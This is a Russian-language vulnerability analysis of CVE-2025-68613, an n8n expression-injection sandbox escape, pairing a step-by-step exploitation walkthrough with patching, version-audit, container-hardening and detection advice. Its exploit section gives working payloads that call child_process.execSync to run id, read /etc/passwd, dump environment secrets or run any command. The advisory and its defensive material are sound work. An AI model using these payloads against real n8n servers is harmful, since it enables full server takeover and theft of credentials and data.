
CVE-2025-68613 (n8n) Критический анализ RCE + рекомендации по защите (валидация патчей, идеи обнаружения и советы по усилению безопасности)
Матрица GIF
CVE-2025-68613 — это критическая уязвимость удалённого выполнения кода в платформе автоматизации рабочих процессов n8n, позволяющая аутентифицированным злоумышленникам выполнять произвольные системные команды через инъекцию выражений.
n8n — это платформа автоматизации рабочих процессов с открытым исходным кодом, обеспечивающая интеграцию без кода / с низким кодом в более чем 400 приложений. Она широко используется в:
| 🏢 Сценарии использования |
|---|
🔓 ЦЕПОЧКА УЯЗВИМОСТИ:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 Язык выражений n8n → Динамическая обработка данных │
│ ↓ │
│ ⚠️ Недостаточная изоляция песочницы при серверной оценке │
│ ↓ │
│ 💀 Вредоносное выражение выходит из песочницы │
│ ↓ │
│ 🖥️ Доступ к модулю child_process Node.js │
│ ↓ │
│ 💥 ПОЛНОЕ УДАЛЁННОЕ ВЫПОЛНЕНИЕ КОДА - выполнение команд ОС │
└─────────────────────────────────────────────────────────────────┘
Предварительные условия для эксплуатации:
| # | 📋 Требование | 📝 Детали |
|---|---|---|
| 1️⃣ |
| 🏷️ Атрибут | 📊 Значение | 🔥 Риск |
|---|---|---|
| Сложность | НИЗКАЯ (AC:L) | 🔴 Высокий |
graph TD
A[🔐 Аутентифицированный пользователь] -->|Создаёт| B[📝 Новый рабочий процесс]
B -->|Внедряет| C[💀 Вредоносное выражение]
C -->|Запускает| D[⚡ Оценка выражения]
D -->|Эксплуатирует| E[🔓 Побег из песочницы]
E -->|Получает доступ| F[🖥️ Среда выполнения Node.js]
F -->|Выполняет| G[💥 Команда ОС через child_process]
G -->|Достигает| H[☠️ ПОЛНАЯ КОМПРОМЕТАЦИЯ СЕРВЕРА]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Следующее предназначено только для образовательных целей. Несанкционированная эксплуатация незаконна.
Первоначальный доступ к уязвимой платформе автоматизации рабочих процессов n8n.
🔓 Панель приветствия n8n — точка входа
Создание нового рабочего процесса, который будет содержать вредоносную нагрузку.
📝 Создание нового рабочего процесса с «Добавить первый шаг»
Настройка триггера рабочего процесса — ручной триггер позволяет выполнять по требованию.
🎯 Выбор ручного триггера для активации рабочего процесса
Добавление узла «Редактировать поля (Set)», который будет содержать вредоносное выражение.
🔧 Добавление узла «Редактировать поля (Set)» для внедрения нагрузки
Критический шаг — внедрение выражения для побега из песочницы и достижения RCE.
💀 Вредоносное выражение успешно выполняет команду 'id'!
// 🔴 ВРЕДОНОСНАЯ НАГРУЗКА (НЕ ИСПОЛЬЗОВАТЬ НЕЗАКОННО)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
Вывод показывает: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE ПОДТВЕРЖДЕНА!
Инъекция кода GIF
⚠️ ПРЕДУПРЕЖДЕНИЕ: Эти нагрузки предназначены только для авторизованного тестирования безопасности. Несанкционированное использование незаконно!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}
💀 Чтение /etc/passwd — продемонстрирован полный доступ к файловой системе!
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 ПЕРВОПРИЧИНА УЯЗВИМОСТИ │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ Оценщик выражений n8n НЕ ИМЕЕТ санитайзера для предотвращения доступа │
│ функциональных выражений к: │
│ │
│ ❌ this.process → Объект процесса Node.js │
│ ❌ mainModule.require → Система загрузки модулей │
│ ❌ child_process → Выполнение команд ОС │
│ │
│ Это позволяет прямой доступ к системным модулям и выполнению кода! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
# 🛡️ Обновление n8n до исправленной версии
npm install -g n8n@latest
# Или с Docker
docker pull n8n/n8n:1.122.0
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 аудит версий n8n
echo "🔍 Проверка версии n8n..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ УЯЗВИМО: n8n $VER затронута CVE-2025-68613"
echo "📦 Необходимо: Обновление до 1.120.4, 1.121.1 или 1.122.0+"
exit 2
else
echo "✅ БЕЗОПАСНО: n8n $VER исправлена"
fi
else
echo "❌ n8n не найден в PATH"
fi
# 🛡️ Укреплённое развертывание n8n
FROM n8n/n8n:1.122.0
# 👤 Запуск от непривилегированного пользователя
USER node
# 🔒 Применить эти флаги выполнения:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ Мера | 📝 Реализация |
|---|---|
| 🌐 Сегментация сети | Изоляция экземпляров n8n |
| 🔥 Правила WAF |
Как бы вы разработали правило обнаружения для выявления попыток инъекции выражений в определениях рабочих процессов n8n до их выполнения, учитывая необходимость баланса безопасности с легитимным использованием динамических выражений?
Бонус: Какие средства защиты времени выполнения вы бы реализовали, чтобы ограничить радиус взрыва, если побег из песочницы произойдёт, несмотря на установку патча?
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот анализ предназначен только для образовательных целей и целей защиты.
Несанкционированная эксплуатация уязвимостей НЕЗАКОННА.
⚡ Краткая статистика
|
🎯 Ключевые факты
|
| Свойство | Значение |
|---|
| 🆔 Идентификатор CVE | CVE-2025-68613 |
| 📊 Оценка CVSS | 9.9 (Критическая) 🔴 |
| 🔗 Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (Некорректный контроль динамически управляемых ресурсов кода) |
| 📦 Затронутые версии | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ Исправленные версии | 1.120.4, 1.121.1, 1.122.0+ |
| 📝 Описание |
|---|
| 🔧 DevOps | Конвейеры автоматизации, интеграции CI/CD |
| 🛡️ Безопасность | Рабочие процессы SOAR, реагирование на инциденты |
| 💼 Бизнес | Автоматизация процессов, рабочие процессы с данными |
| 📊 Данные | Процессы ETL, интеграции API |
| Действительная учётная запись пользователя n8n (достаточно низких привилегий) |
| 2️⃣ | Разрешения | Возможность создания / редактирования рабочих процессов |
| 3️⃣ | Сетевой доступ | Возможность доступа к экземпляру n8n |
| Взаимодействие пользователя |
| Не требуется |
| 🔴 Высокий |
| Область | Изменена | 🔴 Критический |
| 🎯 Нагрузка | 📋 Ожидаемый вывод |
|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | Полный список пользователей системы (root, daemon, node и т.д.) |
env | Все переменные окружения, включая секреты |
ls -la / | Список корневой файловой системы |
|
|
| Фаза | 🔥 Действие | 💀 Воздействие |
|---|
| 1️⃣ | Первоначальный доступ | Аутентификация в n8n |
| 2️⃣ | Выполнение | Отправка вредоносного рабочего процесса |
| 3️⃣ | Постоянство | Развёртывание обратного шелла / бэкдора |
| 4️⃣ | С2 | Установление командного центра |
| 5️⃣ | Действия | Экспорт данных, боковое перемещение |
| 🎯 Действие | 💥 Уровень воздействия |
|---|
| 🔑 Кража учётных данных | Извлечение ключей API, токенов OAuth, паролей БД |
| 📤 Эксфильтрация данных | Данные рабочих процессов, журналы выполнения, бизнес-информация |
| 🔒 Постоянство | Задачи cron, сценарии запуска, веб-шеллы |
| 🔀 Боковое перемещение | Переход к базам данных, CI/CD, облачной инфраструктуре |
| 🗑️ Манипуляция рабочими процессами | Изменение / разрушение логики автоматизации |
🔴 Конфиденциальность (ВЫСОКИЙ)
|
🟠 Целостность (ВЫСОКИЙ)
|
🟡 Доступность (ВЫСОКИЙ)
|
| # | 📋 Метод | 🔍 Что отслеживать |
|---|
| 📜 | Анализ журналов | Необычные команды от процесса n8n, неудачные выражения |
| 🌐 | Сеть | Исходящие соединения с неизвестными IP, большие POST-запросы |
| ⚡ | Среда выполнения | Вызовы child_process, неожиданные spawns |
| 📦 | Аудит версий | Проверка на уязвимый диапазон версий |
| 🔢 Приоритет | 🛠️ Действие | 📝 Детали |
|---|
| 🔴 P0 | ПАТЧ СЕЙЧАС | Обновление до 1.120.4, 1.121.1 или 1.122.0+ |
| 🟠 P1 | Ограничить доступ | Ограничить создание рабочих процессов доверенными пользователями |
| 🟡 P2 | Укрепление контейнера | Развертывание с ограничениями безопасности |
| Мониторинг шаблонов выражений |
| 📜 Журналирование аудита | Включение всестороннего логирования |
| 🔍 Проверки безопасности | Регулярная оценка рабочих процессов |
| 🔓 Минимальные привилегии | Усиление контроля доступа |